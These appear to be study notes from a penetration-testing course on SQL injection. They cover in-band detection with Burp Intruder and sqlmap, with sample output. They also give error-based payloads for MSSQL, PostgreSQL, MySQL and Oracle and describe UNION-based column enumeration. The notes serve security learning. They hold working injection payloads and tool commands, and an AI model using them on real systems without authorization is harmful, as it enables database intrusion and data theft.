In Band
Basic Workflow
The example below is based on TCM's Practical Bug Bounty course.
The web application that we need to test has a search
field associated with the username
parameter (Figure 1).

By fuzzing the username
parameter using Burp Intruder's built-in SQLi wordlist, we can see that the results of a successful payload are returned within the HTTP response (Figure 2), which makes this an In Band SQLi.

username
parameter with built-in SQLi payloads.Since the SQLi vulnerability is confirmed, we can write the request to a file (right-click > Copy to file) and continue testing using sqlmap
.
$ sqlmap -r post_request.txt --batch
<SNIP>
POST parameter 'username' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 75 HTTP(s) requests:
---
Parameter: username (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: username=jeremy' AND (SELECT 6462 FROM (SELECT(SLEEP(5)))zkFr) AND 'GiCb'='GiCb
Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: username=jeremy' UNION ALL SELECT NULL,NULL,CONCAT(0x7162766271,0x534a50534a684c7153486868667a4656547777534b5257724a66486c4a506858526c6c6a51467a6d,0x71716b6a71)-- -
---
[11:57:33] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: Apache 2.4.54, PHP 7.4.33
back-end DBMS: MySQL >= 5.0.12
Error-Based
The example below is based on OffSec's WEB-200 course.
On way of making a database to return verbose error messages, which often include its version, is by forcing erroneous data type conversions (Figure 3).
// MSSQL and PostgreSQL payload
cast(@@version as integer)

MySQL returns a null
value instead of throwing an error, so its XML functions need to be used: ExtractValue()
and UpdateXML()
. The goal while using the former is to submit an invalid XPath expression. In this case, the >
is used because it is a delimiter in XML and cannot be part of a valid XML node.
// MySQL payload
extractvalue('',concat('>',version()))
For Oracle databases, the syntax is becoming more complicated and a sub-query along with the double pipe operator (||
) for concatenation needs to be used.
to_char(
dbms_xmlgen.getxml(
'select "'||
(select substr(banner,0,30) from v$version where rownum=1)
||'" from sys.dual'
)
)
UNION-Based
When using a UNION
two conditions must be met:
The invididual queries must return the same number of columns.
The data types in each column must be compatible between the individual queries.
As a result, launching a successful UNION
attack requires us to answer:
How many columns are returned from the original query?
Which columns are suitable to hold the results from the injected query?
We can enumerate the column number by incrementing an ORDER BY
clause's index until it errors. The number represents the column's index; when this exceeds the number of the actual columns we will get an index-related error (Figure 4a & 4b).



We can also use the UNION SELECT NULL
payload to achieve the same goal (Figure 5).

After finding the number of columns returned, we need to exfiltrate data which is usually in text form. As a result, we must enumerate which column in the original query can hold text data. This can be done by passing a random string column by column until the server accepts it (Figure 6).

Last updated
Was this helpful?